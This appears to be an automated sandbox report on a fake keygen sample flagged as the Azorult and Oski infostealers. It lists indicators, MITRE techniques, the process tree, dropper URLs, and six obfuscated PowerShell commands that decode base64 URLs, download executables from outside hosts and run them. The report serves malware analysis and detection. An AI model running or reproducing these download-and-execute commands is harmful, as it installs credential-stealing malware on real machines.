azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
20s
max time network
142s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (40) — копия.exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

8 2392 powershell.exe
9 3736 powershell.exe
11 2392 powershell.exe
13 3736 powershell.exe
14 4468 powershell.exe
22 4468 powershell.exe
Downloads MZ/PE file

flow	pid	process
8	2392	powershell.exe
9	3736	powershell.exe
11	2392	powershell.exe
13	3736	powershell.exe
14	4468	powershell.exe
22	4468	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exerdg.exemwc.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exerdg.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exezry.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezry.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
1720	Keygen.exe
4992	rdg.exe
4984	mwc.exe
4116	FVjhgtresfdbv.exe
4128	NHtrdsaghfDF.exe
4272	rdg.exe
4324	NHtrdsaghfDF.exe
4340	FVjhgtresfdbv.exe
4788	zry.exe
4928	FVjhgtresfdbv.exe
3436	NHtrdsaghfDF.exe
5000	zry.exe
3044	FVjhgtresfdbv.exe
4228	NHtrdsaghfDF.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4340 FVjhgtresfdbv.exe
4340 FVjhgtresfdbv.exe
4340 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4340	FVjhgtresfdbv.exe
4340	FVjhgtresfdbv.exe
4340	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

rdg.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exezry.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4992 set thread context of 4272	4992	rdg.exe	rdg.exe
PID 4128 set thread context of 4324	4128	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4116 set thread context of 4340	4116	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4788 set thread context of 5000	4788	zry.exe	zry.exe
PID 4928 set thread context of 3044	4928	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 3436 set thread context of 4228	3436	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2424 timeout.exe
2448 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
2424	timeout.exe
2448	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2392	powershell.exe
2360	powershell.exe
3736	powershell.exe
3848	powershell.exe
2392	powershell.exe
2360	powershell.exe
3848	powershell.exe
3736	powershell.exe
2392	powershell.exe
2360	powershell.exe
3848	powershell.exe
3736	powershell.exe
4468	powershell.exe
4468	powershell.exe
4664	powershell.exe
4664	powershell.exe
4468	powershell.exe
4664	powershell.exe
4468	powershell.exe
4664	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

rdg.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exezry.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4992 rdg.exe
4128 NHtrdsaghfDF.exe
4116 FVjhgtresfdbv.exe
4788 zry.exe
4928 FVjhgtresfdbv.exe
3436 NHtrdsaghfDF.exe

pid	process
4992	rdg.exe
4128	NHtrdsaghfDF.exe
4116	FVjhgtresfdbv.exe
4788	zry.exe
4928	FVjhgtresfdbv.exe
3436	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exerdg.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exezry.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1720 Keygen.exe
4992 rdg.exe
4128 NHtrdsaghfDF.exe
4116 FVjhgtresfdbv.exe
4788 zry.exe
4928 FVjhgtresfdbv.exe
3436 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (40) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exerdg.exe

description	pid	process	target process
PID 3340 wrote to memory of 1116	3340	Keygen — копия (40) — копия.exe	cmd.exe
PID 3340 wrote to memory of 1116	3340	Keygen — копия (40) — копия.exe	cmd.exe
PID 3340 wrote to memory of 1116	3340	Keygen — копия (40) — копия.exe	cmd.exe
PID 1116 wrote to memory of 1720	1116	cmd.exe	Keygen.exe
PID 1116 wrote to memory of 1720	1116	cmd.exe	Keygen.exe
PID 1116 wrote to memory of 1720	1116	cmd.exe	Keygen.exe
PID 1116 wrote to memory of 2064	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 2064	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 2064	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 2180	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 2180	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 2180	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 2424	1116	cmd.exe	timeout.exe
PID 1116 wrote to memory of 2424	1116	cmd.exe	timeout.exe
PID 1116 wrote to memory of 2424	1116	cmd.exe	timeout.exe
PID 2064 wrote to memory of 2392	2064	mshta.exe	powershell.exe
PID 2064 wrote to memory of 2392	2064	mshta.exe	powershell.exe
PID 2064 wrote to memory of 2392	2064	mshta.exe	powershell.exe
PID 2180 wrote to memory of 2360	2180	mshta.exe	powershell.exe
PID 2180 wrote to memory of 2360	2180	mshta.exe	powershell.exe
PID 2180 wrote to memory of 2360	2180	mshta.exe	powershell.exe
PID 1116 wrote to memory of 3172	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 3172	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 3172	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 1432	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 1432	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 1432	1116	cmd.exe	mshta.exe
PID 1432 wrote to memory of 3848	1432	mshta.exe	powershell.exe
PID 1432 wrote to memory of 3848	1432	mshta.exe	powershell.exe
PID 1432 wrote to memory of 3848	1432	mshta.exe	powershell.exe
PID 3172 wrote to memory of 3736	3172	mshta.exe	powershell.exe
PID 3172 wrote to memory of 3736	3172	mshta.exe	powershell.exe
PID 3172 wrote to memory of 3736	3172	mshta.exe	powershell.exe
PID 1116 wrote to memory of 2448	1116	cmd.exe	timeout.exe
PID 1116 wrote to memory of 2448	1116	cmd.exe	timeout.exe
PID 1116 wrote to memory of 2448	1116	cmd.exe	timeout.exe
PID 1116 wrote to memory of 4400	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 4400	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 4400	1116	cmd.exe	mshta.exe
PID 4400 wrote to memory of 4468	4400	mshta.exe	powershell.exe
PID 4400 wrote to memory of 4468	4400	mshta.exe	powershell.exe
PID 4400 wrote to memory of 4468	4400	mshta.exe	powershell.exe
PID 1116 wrote to memory of 4572	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 4572	1116	cmd.exe	mshta.exe
PID 1116 wrote to memory of 4572	1116	cmd.exe	mshta.exe
PID 4572 wrote to memory of 4664	4572	mshta.exe	powershell.exe
PID 4572 wrote to memory of 4664	4572	mshta.exe	powershell.exe
PID 4572 wrote to memory of 4664	4572	mshta.exe	powershell.exe
PID 3736 wrote to memory of 4984	3736	powershell.exe	mwc.exe
PID 3736 wrote to memory of 4984	3736	powershell.exe	mwc.exe
PID 3736 wrote to memory of 4984	3736	powershell.exe	mwc.exe
PID 2392 wrote to memory of 4992	2392	powershell.exe	rdg.exe
PID 2392 wrote to memory of 4992	2392	powershell.exe	rdg.exe
PID 2392 wrote to memory of 4992	2392	powershell.exe	rdg.exe
PID 4992 wrote to memory of 4116	4992	rdg.exe	FVjhgtresfdbv.exe
PID 4992 wrote to memory of 4116	4992	rdg.exe	FVjhgtresfdbv.exe
PID 4992 wrote to memory of 4116	4992	rdg.exe	FVjhgtresfdbv.exe
PID 4992 wrote to memory of 4128	4992	rdg.exe	NHtrdsaghfDF.exe
PID 4992 wrote to memory of 4128	4992	rdg.exe	NHtrdsaghfDF.exe
PID 4992 wrote to memory of 4128	4992	rdg.exe	NHtrdsaghfDF.exe
PID 4992 wrote to memory of 4272	4992	rdg.exe	rdg.exe
PID 4992 wrote to memory of 4272	4992	rdg.exe	rdg.exe
PID 4992 wrote to memory of 4272	4992	rdg.exe	rdg.exe
PID 4992 wrote to memory of 4272	4992	rdg.exe	rdg.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (40) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (40) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3340

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1A54.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (40) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1116

C:\Users\Admin\AppData\Local\Temp\1A54.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1720

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1A54.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2392

C:\Users\Public\rdg.exe
"C:\Users\Public\rdg.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4992

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4116

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4340

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4128

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4324

C:\Users\Public\rdg.exe
"C:\Users\Public\rdg.exe"
6⤵
- Executes dropped EXE
PID:4272

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1A54.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2360

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2424

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1A54.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3172

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3736

C:\Users\Public\mwc.exe
"C:\Users\Public\mwc.exe"
5⤵
- Executes dropped EXE
PID:4984

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1A54.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1432

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3848

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2448

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1A54.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4468

C:\Users\Public\zry.exe
"C:\Users\Public\zry.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4788

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4928

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:3044

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3436

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4228

C:\Users\Public\zry.exe
"C:\Users\Public\zry.exe"
6⤵
- Executes dropped EXE
PID:5000

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1A54.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4664

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

